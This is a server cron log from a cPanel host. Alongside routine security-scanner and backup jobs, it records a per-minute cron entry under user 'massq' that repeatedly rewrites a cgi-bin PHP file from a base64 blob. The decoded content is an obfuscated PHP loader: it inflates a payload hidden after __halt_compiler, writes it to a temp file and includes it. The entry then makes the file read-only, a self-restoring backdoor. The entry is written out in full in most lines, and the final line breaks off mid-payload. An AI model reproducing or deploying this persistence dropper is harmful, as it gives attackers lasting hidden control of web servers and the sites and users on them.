Sep  9 08:50:01 server CROND[4943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:50:01 server CROND[4946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:50:01 server CROND[4945]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 08:50:01 server CROND[4948]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 08:50:01 server CROND[4949]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:50:01 server CROND[4951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:50:01 server CROND[4947]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 08:50:01 server CROND[4953]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 08:50:01 server CROND[4950]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:51:01 server CROND[5790]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:51:01 server CROND[5791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:51:01 server CROND[5789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:52:01 server CROND[6169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:52:01 server CROND[6170]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:52:01 server CROND[6171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:53:01 server CROND[6646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:53:01 server CROND[6647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:53:01 server CROND[6648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:54:01 server CROND[7028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:54:01 server CROND[7029]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:54:01 server CROND[7031]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:55:01 server CROND[7417]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:55:01 server CROND[7419]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 08:55:01 server CROND[7418]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:55:01 server CROND[7431]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 08:55:01 server CROND[7435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:55:01 server CROND[7432]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:55:01 server CROND[7433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:56:01 server CROND[8294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:56:01 server CROND[8293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:56:01 server CROND[8295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:57:01 server CROND[8722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:57:01 server CROND[8723]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 08:57:01 server CROND[8725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:57:01 server CROND[8724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:58:01 server CROND[9216]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:58:01 server CROND[9217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:58:01 server CROND[9219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:59:01 server CROND[9609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:59:01 server CROND[9610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:59:01 server CROND[9608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:00:01 server CROND[9987]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep  9 09:00:01 server CROND[9989]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 09:00:01 server CROND[9990]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 09:00:01 server CROND[9992]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 09:00:01 server CROND[9993]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 09:00:01 server CROND[9994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:00:01 server CROND[9997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:00:01 server CROND[9996]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:00:01 server CROND[9995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:00:01 server CROND[9991]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:01:01 server CROND[10904]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 09:01:01 server CROND[10905]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:01:01 server CROND[10907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:01:01 server CROND[10906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4